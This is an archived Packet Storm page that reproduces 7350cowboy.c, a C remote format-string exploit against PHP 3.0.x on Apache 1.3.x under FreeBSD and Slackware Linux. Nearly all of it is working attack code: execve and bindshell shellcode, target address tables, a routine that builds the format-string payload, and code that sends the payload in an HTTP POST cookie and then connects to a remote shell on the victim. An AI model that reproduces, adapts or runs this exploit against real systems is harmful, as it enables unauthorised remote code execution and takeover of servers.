what you don't know can hurt you

7350cowboy.c

7350cowboy.c
Posted Nov 17, 2002
Authored by teso

7350cowboy.c is supposedly a PHP/3.0.12, 3.0.15, and 3.0.16 with apache 1.3.12 remote format string exploit for FreeBSD 3.4, Slackware Linux 4.0, and 7.0. Very similar to http://packetstormsecurity.org/0010-exploits/phploit.c.

tags | exploit, remote, web, php
systems | linux, freebsd, slackware
MD5 | 49cb24b3e1a3f7c0b7a27e6879c6d0a2

7350cowboy.c

Change Mirror Download
/*
*
* TESO CONFIDENTIAL - SOURCE MATERIALS
*
* This is unpublished proprietary source code of TESO Security.
* c0wb0y
* The contents of these coded instructions, statements and computer
* programs may not be disclosed to third parties, copied or duplicated in
* any form, in whole or in part, without the prior written permission of
* TESO Security.
* (C) COPYRIGHT TESO Security, 2001
* All Rights Reserved
*
* bug found by scut 2001/12/11
* further research by smiler, zip, lorian and me.
* thanks to zip's cool friend for giving me a testbed to play on
*/

#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#if !defined(__FreeBSD__)
# include <getopt.h>
#endif


#define xLITTLE_ENDIAN 1
#define xBIG_ENDIAN 2
#define PERSISTANT 1
#define ESYSLOG 1
#define EFILE 2

#define COOKIE_SIZE 1000
#define ADDRESS_BUFFER_SIZE 8*4
#define ATTACK_BUFFER_SIZE 500


struct _platforms
{
char *version;
char *description;
unsigned long cookie_address;
unsigned long eip_address;
int technique;
int endian;
int alignment;
int padding;
struct _shellcodes *shellcode;
};


struct _shellcodes
{
char *description;
int length; /* depreciated */
char *code;
char *nop;
int type;
};


/* note that the shellcodes may not contain 0x3d '=' */

struct _shellcodes shellcodes[] =
{
{
"Linux(x86) aleph1's execve shell -> /tmp/la",
45,
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/tmp/la",
"\x90",
0
}, {
"Linux(x86) dup2 shell",
77,
/* alarm(0);fork();dup2(1,0);dup2(2,0);execute /bin/sh;exit(0) */
// "\xcc"
"\x31\xc0\x31\xdb\x04\x0b\xcd\x80\x31\xc0\x40\x40\xcd\x80\x85"
"\xc0\x75\x28\x89\xd9\x31\xc0\x41\x04\x3f\xcd\x80\x31\xc0\x04"
"\x3f\x41\xeb\x1f\x31\xc0\x5f\x89\x7f\x08\x88\x47\x07\x89\x47"
"\x0c\x89\xfb\x8d\x4f\x08\x8d\x57\x0c\x04\x0b\xcd\x80\x31\xc0"
"\x31\xdb\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh",
"\x90",
PERSISTANT
}, {
"Linux(x86) bindshell on port 3879",
129,
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh",
"\x90",
3879
}, {
"FreeBSD(x86) bindshell on port XXXX",
134,
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x61\xeb\x7e\x5f\xc6\x47\x08"
"\x9a\x89\x47\x09\x89\x47\x0d\xc6\x47\x0d\x07\xc6\x47\x0f\xc3\x50"
"\x53\x6a\x01\x6a\x02\x8d\x4f\x08\xff\xd1\x89\x47\x24\xb0\x68\x50"
"\x6a\x10\xb3\x02\x66\x89\x5f\x10\xb3\x45\x66\x89\x5f\x12\x89\x57"
"\x14\x8d\x5f\x10\x53\xff\x77\x24\xff\xd1\xb0\x6a\x50\x6a\x02\xff"
"\x77\x24\xff\xd1\xb0\x1e\x50\x52\x52\xff\x77\x24\xff\xd1\x89\xc3"
"\xb0\x5a\x50\x52\x53\xff\xd1\xb0\x5a\x50\x42\x52\x53\xff\xd1\xb0"
"\x5a\x50\x42\x52\x53\xff\xd1\xb0\x3b\x31\xdb\x50\x88\x5f\x07\x53"
"\x89\x7f\x10\x8d\x5f\x10\x53\x57\xff\xd1\xe8\x7d\xff\xff\xff/bin/sh",
"\x90",
666
}, {
"FreeBSD(x86) execve shellcode by mudge@l0pht.com -> /tmp/la",
67,
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/la",
"\x90",
0
}, {
NULL, 0, NULL, 0
}
};


#define LINUX_EXECVE &shellcodes[0]
#define LINUX_DUP2_SHELLCODE &shellcodes[1]
#define LINUX_BINDSHELL &shellcodes[2]
#define FREEBSD_BINDSHELL &shellcodes[3]
#define FREEBSD_EXECVE &shellcodes[4]


struct _platforms platforms[] =
{
{
"PHP/3.0.16 on Apache 1.3.12, static",
"Slackware Linux 7.0 glibc (DEVEL)",
0x0815b34c, 0xbfff9b54, //0xbfff9290,
3, xLITTLE_ENDIAN,
1, 124, /* 124 */
LINUX_BINDSHELL
}, {
"PHP/3.0.12 on Apache 1.3.9, static",
"Slackware Linux 4.0 libc (DEVEL)",
0x081688e8, 0xbfff9460,
3, xLITTLE_ENDIAN,
1, 116,
LINUX_BINDSHELL
}, {
"PHP/3.0.12 on Apache 1.3.12, static",
"Slackware Linux 7.0 glibc (DEVEL)",
0x0814bc88, 0xbfff931c,
3, xLITTLE_ENDIAN,
1, 112,
LINUX_BINDSHELL
}, {
"PHP/3.0.15 on Apache/1.3.12, static",
"FreeBSD 3.4-STABLE with package apache+php-1.3.12+3.0.15.tgz",
/* -rwxr-xr-x 1 root wheel 748095 25 20:28 /usr/local/sbin/apache
*/
/* /usr/local/sbin/apache: ELF 32-bit LSB executable, Intel 80386, versio
n 1 (FreeBSD), dynamically linked, not stripped */
0x81250e0, 0xbfbf7260, 3, xLITTLE_ENDIAN, 1, 112,
FREEBSD_EXECVE
}, {
NULL, NULL, 0L, 0L, 0, 0, 0, 0, NULL
}
};


char shellcode_buffer[COOKIE_SIZE+1];
char attack_buffer[ATTACK_BUFFER_SIZE+1];
char pad_buffer[256];
char prepend_buffer[256];
char append_buffer[256];
struct in_addr ina;
int debug_mode = 0;
int emethod = 0;
int sock = -1;


int failure(char *format, ...)
{
va_list va;

fprintf (stderr, " [-]: ");

va_start (va, format);
vfprintf (stderr, format, va);
va_end (va);

fprintf (stderr, "\n");
fflush (stderr);

exit(-1);
}


#undef DEBUG


void technique_3(u_long eip_addr, u_long shellcode_addr, u_int previous)
{
int i;
unsigned int tmp = 0;
unsigned int copied = previous;
unsigned int num[4] =
{
(unsigned int) (shellcode_addr & 0x000000ff),
(unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
(unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
(unsigned int)((shellcode_addr & 0xff000000) >> 24)
};

memset (prepend_buffer, '\0', sizeof(prepend_buffer));
memset (append_buffer, '\0', sizeof(append_buffer));

for (i = 0; i < 4; i++)
{
while (copied > 0x100)
copied -= 0x100;

#ifdef DEBUG
if (debug_mode)
printf ("[#] num[%d] = %d (0x%02x), copied: %d\n", i, num[i], num[i],
copied);
#endif

if ( (i > 0) && (num[i-1] == num[i]) ) /* copied == num[i], no change */
{
strcat (append_buffer, "%n");
#ifdef DEBUG
if (debug_mode)
printf (" [+] num[%d] == num[%d-1], appending \"%%n\"\n", i, i);
#endif
} else if (copied < num[i])
{
if ( (num[i] - copied) <= 10)
{
#ifdef DEBUG
if (debug_mode)
printf (" [+] num[%d] > %d: %d bytes, skipping use of %%.u\n",
i, copied, (num[i] - copied));
#endif
sprintf (append_buffer+strlen(append_buffer), "%.*s", (int)(num[i]
- copied), "PORTALPORTAL");
copied += (num[i] - copied);
strcat (append_buffer, "%n");
} else {
#ifdef DEBUG
if (debug_mode)
printf (" [+] num[%d] > %d: %d bytes, using %%.u\n", i, copied
, (num[i] - copied));
#endif
sprintf (append_buffer+strlen(append_buffer), "%%.%du", num[i] - copied);
copied += (num[i] - copied);
strcat (append_buffer, "%n");
strcat (prepend_buffer, "AAAA"); /* dummy */
}

} else //if (copied > num[i])
{
#ifdef DEBUG
if (debug_mode)
printf (" [+] num[%d] < %d: %d bytes, increasing\n", i, copied, (
copied - num[i]));
#endif
tmp = ((num[i] + 0xff) - copied);
sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
copied += ((num[i] + 0xff) - copied);
strcat (append_buffer, "%n");
strcat (prepend_buffer, "AAAA");
}
sprintf (prepend_buffer+strlen(prepend_buffer), "%c%c%c%c",
(unsigned char) ((eip_addr+i) & 0x000000ff),
(unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
(unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
(unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
}

while (strlen(prepend_buffer) < ADDRESS_BUFFER_SIZE)
strcat (prepend_buffer, "X");

if (debug_mode)
{
printf ("\nGeneration complete:\nPrepend: ");
for (i = 0; i < strlen(prepend_buffer); i++)
{
if ( ((i % 4) == 0) && (i > 0) )
printf (".");
printf ("%02x", (unsigned char)prepend_buffer[i]);
}
printf ("\nAppend: %s\n", append_buffer);
}

return;
}


void preparation(struct _platforms *pf)
{
int written_bytes = 0;
int i;

/* phase 1: put our nops and the shellcode in huge buffer */

memset (shellcode_buffer, '\0', sizeof(shellcode_buffer));
for (i = 0; i < COOKIE_SIZE - pf->shellcode->length; )
{
memcpy (&shellcode_buffer[i], pf->shellcode->nop, strlen(pf->shellcode->nop));
i += strlen(pf->shellcode->nop);
}
memcpy (&shellcode_buffer[COOKIE_SIZE - pf->shellcode->length],
pf->shellcode->code, pf->shellcode->length+1);

/* phase 2: start filling in our attack buffer */

memset (attack_buffer, '\0', sizeof(attack_buffer));
strcpy (attack_buffer, "Content-Type: multipart/form-data; ");
for (i = 0; i < pf->alignment; i++)
strcat (attack_buffer, "Z");

written_bytes = strlen("The Content-Type string was: \"multipart/form-data;
");
written_bytes += pf->alignment;
/*
switch (emethod)
{
case EFILE:
written_bytes += 0;
break;

case ESYSLOG:
written_bytes += 47;
break;
}
*/
written_bytes += 47;

/* phase 3: set up the correct padding */

memset (pad_buffer, '\0', sizeof(pad_buffer));
i = pf->padding;

while (i >= 4)
{
/*
strcpy (pad_buffer+strlen(pad_buffer), "%20.0f");
written_bytes += 20;
i -= 8;
*/
strcat (pad_buffer, "%c");
written_bytes += 1;
i -= 4;
}

// written_bytes += ADDRESS_BUFFER_SIZE;

/* phase 4: set up the address and impact buffers */

switch (pf->technique)
{
case 1:
/* bgennum() */
case 2:
/* tgennum() */
case 3:
technique_3 (pf->eip_address, pf->cookie_address, written_bytes);
break;

default:
failure ("Unrecognized technique: \"%d\".\n", pf->technique);
break; /* never reached */
}

/* phase 5: assemble the attack_buffer */

strcat (attack_buffer, prepend_buffer);
strcat (attack_buffer, pad_buffer);
strcat (attack_buffer, append_buffer);

while (strlen(attack_buffer) < ATTACK_BUFFER_SIZE)
strcat (attack_buffer, ".");

if (debug_mode)
{
printf (" [$] Attack buffer is:\n");
for (i = 0; i < strlen(attack_buffer); i++)
printf ("%02x ", (unsigned char)attack_buffer[i]);
printf ("\n [$] That is,\n");
for (i = 0; i < strlen(attack_buffer); i++)
printf ("%c", (unsigned char)attack_buffer[i]);
printf ("\n");
}

return;
}


struct in_addr *hostname_resolve(char *hostname, int show)
{
struct hostent *he = NULL;

if ( (inet_aton(hostname, &ina)) == 0)
{
if ( (he = gethostbyname(hostname)) == NULL)
failure ("Unable to resolve %s.\n", hostname);

memcpy (&ina, he->h_addr, he->h_length);
if (show)
printf (" [+] Resolved %s to %s.\n", hostname, inet_ntoa(ina));
}

return (&ina);
}


int do_connect(char *hostname, int port, int do_resolve)
{
struct sockaddr_in sin;
struct in_addr *in;
int sockie = -1;

in = hostname_resolve(hostname, do_resolve);

if ( (sockie = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
failure ("Unable to get a socket.\n");

memset (&sin, '\0', sizeof(struct sockaddr_in));

sin.sin_family = PF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = in->s_addr;

if ( (connect (sockie, (struct sockaddr *)&sin, sizeof(struct sockaddr))) <
0)
failure ("Unable to connect to %s:%d.\n", hostname, port);

return (sockie);
}


/* FIX ME, let this only read one byte at a time, and stop on newlines! */


int receive(char *buffer, size_t size)
{
struct timeval tv;
fd_set fds;
int i = -1;

tv.tv_sec = 5;
tv.tv_usec = 0;

FD_ZERO (&fds);
FD_SET (sock, &fds);

i = select(sock+1, &fds, NULL, NULL, &tv);

if (i < 0)
return (-1);

if (!FD_ISSET(sock, &fds))
return (-2);

(void)read (sock, buffer, size);

return (0);
}


int transmit(char *format, ...)
{
char buffer[8192];
struct timeval tv;
fd_set fds;
va_list va;
int i = -1;

tv.tv_sec = 5;
tv.tv_usec = 0;

FD_ZERO (&fds);
FD_SET (sock, &fds);

i = select(sock+1, NULL, &fds, NULL, &tv);

if (i < 0)
return (-1);

if (!FD_ISSET(sock, &fds))
return (-2);

memset (buffer, '\0', sizeof(buffer));

va_start (va, format);
vsnprintf (buffer, sizeof(buffer)-1, format, va);
va_end (va);

(void)write (sock, buffer, strlen(buffer));

return (0);
}



void usage(char *program_name)
{
int i;

printf (" PHP3 REMOTE EXPLOIT - June 2000\n");

printf ("%s <victim> <-s systype> <-f script> <-m ...> [options]\n", program_name);
printf (" -s: Remote system type (must precede other arguments).\n");
printf (" -f: A PHP3 script on the remote server (e.g. / or /index.php3.\n
");
printf (" -m: Method ('syslog' or 'file')\n");
printf (" -P: Port to use (default 80, of course).\n");
printf (" -C: Perform a version check on the remote host.\n");
printf (" -P: Alter the number of bytes needed for padding.\n");
printf (" -S: Change the shellcode to be used.\n");
printf (" -r: Specify the EIP address.\n");
printf (" -R: Change the address of the shellcode.\n");
printf (" -d: Toggle debug-mode.\n");
printf ("Available system types:\n");

for (i = 0; platforms[i].version != NULL; i++)
printf (" %d: %s; %s\n", i, platforms[i].version, platforms[i].description);

printf ("Available shellcodes:\n");
for (i = 0; shellcodes[i].description != NULL; i++)
printf (" %d: %s\n", i, shellcodes[i].description);

exit (0);
}


void bindshell(int rsock)
{
char buf[4096];
fd_set fds;
struct timeval tv;
int i, r;

printf (" [+] Running bindshell:\n");

while (1)
{
FD_ZERO (&fds);
FD_SET (0, &fds); /* stdin */
FD_SET (rsock, &fds);
tv.tv_sec = 1;
tv.tv_usec = 0;

i = select (rsock+1, &fds, NULL, NULL, &tv);

if (i < 0)
{
close (rsock);
failure ("Select() returned an error.\n");
}

if (i == 0) /* no change */
continue;

if (FD_ISSET (0, &fds))
{
memset (buf, '\0', sizeof(buf));
i = read(0, buf, sizeof(buf)-1);

if (i < 0)
failure ("What the heck happened to your computer?\n");

if (i > 0)
{
r = write (rsock, buf, i);
if (r < 0)
{
close (rsock);
failure ("Unable to transmit data, connection terminated.\n");
}
}
}

if (FD_ISSET (rsock, &fds))
{
memset (buf, '\0', sizeof(buf));
i = read(rsock, buf, sizeof(buf)-1);

if (i <= 0)
{
close (rsock);
failure ("The connection was terminated.\n");
}

printf ("%s", buf);
}
}

return; /* never reached */
}


int main(int argc, char **argv)
{
char *program_name = argv[0];
char *victim = NULL;
char *script = NULL;
int do_version_check = 0;
int systype = -1;
int version = 0;
int port = 80;
int c;

if (argc < 2)
usage(argv[0]);

victim = (char *)strdup(argv[1]);
if (victim == NULL)
failure ("Memory allocation failed.\n");

argv++; argc--;

while ( (c = getopt(argc, argv, "p:P:s:S:r:R:C:f:m:hd")) != EOF)
{
switch (c)
{
case 'P':
port = atoi(optarg);
break;

case 's':
systype = atoi(optarg);
if (systype > 3)
usage(program_name);
break;

case 'S':
if (systype >= 0)
platforms[systype].shellcode = &shellcodes[atoi(optarg)];
else
printf (" [-] Warning: S argument ignored because systype has n
ot been selected.\n");
break;

case 'C':
do_version_check = 0;
break;

case 'd':
debug_mode = !debug_mode;
break;

case 'f':
script = (char *)strdup(optarg);
if (script == NULL)
failure ("Buy more RAM!\n");
break;

case 'm':
if (!strcasecmp (optarg, "syslog"))
emethod = ESYSLOG;
else if (!strcasecmp (optarg, "file"))
emethod = EFILE;
else
failure ("Known methods are: 'syslog' and 'file'.\n");
break;

case 'p':
if (systype >= 0)
platforms[systype].padding = atoi(optarg);
else
printf (" [-] Warning: -p argument ignored because systype has
not been selected.\n");
break;

case 'r':
if (systype >= 0)
platforms[systype].eip_address = strtoul(optarg, &optarg, 16);
else
printf (" [-] Warning: -r argument ignored because systype has
not been selected.\n");
break;

case 'R':
if (systype >= 0)
platforms[systype].cookie_address = strtoul(optarg, &optarg, 16)
;
else
printf (" [-] Warning: -R argument ignored because systype has
not been selected.\n");
break;

default:
usage(program_name);
break; /* not reached */
}
}

if ( (systype < 0) || (script == NULL) || (emethod == 0) )
usage(program_name);

printf (" [+] Attacking: %s:%d.\n", victim, port);
printf (" [+] System type: %s: %s.\n", platforms[systype].version,
platforms[systype].description);
printf (" [+] Shellcode: %s\n", platforms[systype].shellcode->description);
printf (" [+] EIP address: %#08lx\n", platforms[systype].eip_address)
;
printf (" [+] Shellcode address: %#08lx\n", platforms[systype].cookie_address);

sock = do_connect(victim, port, 1);

preparation((struct _platforms *)&platforms[systype]);

transmit ("POST %s?STRENGUR HTTP/1.0\n", script);
transmit ("Cookie: %s\n", shellcode_buffer);
transmit ("Host: localhost\n");
transmit ("%s\n", attack_buffer);
transmit ("Content-Length: 1337\n\n");
transmit ("too bad, dude. too bad.\n\n");

switch (platforms[systype].shellcode->type)
{
case 0:
break;

case PERSISTANT:
bindshell (sock);
break;

default:
close (sock);

sock = do_connect (victim, platforms[systype].shellcode->type, 0);
bindshell (sock);

break;
}

close (sock);

return (0);
}


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    60 Files
  • 2
    Apr 2nd
    20 Files
  • 3
    Apr 3rd
    15 Files
  • 4
    Apr 4th
    5 Files
  • 5
    Apr 5th
    5 Files
  • 6
    Apr 6th
    27 Files
  • 7
    Apr 7th
    31 Files
  • 8
    Apr 8th
    0 Files
  • 9
    Apr 9th
    0 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close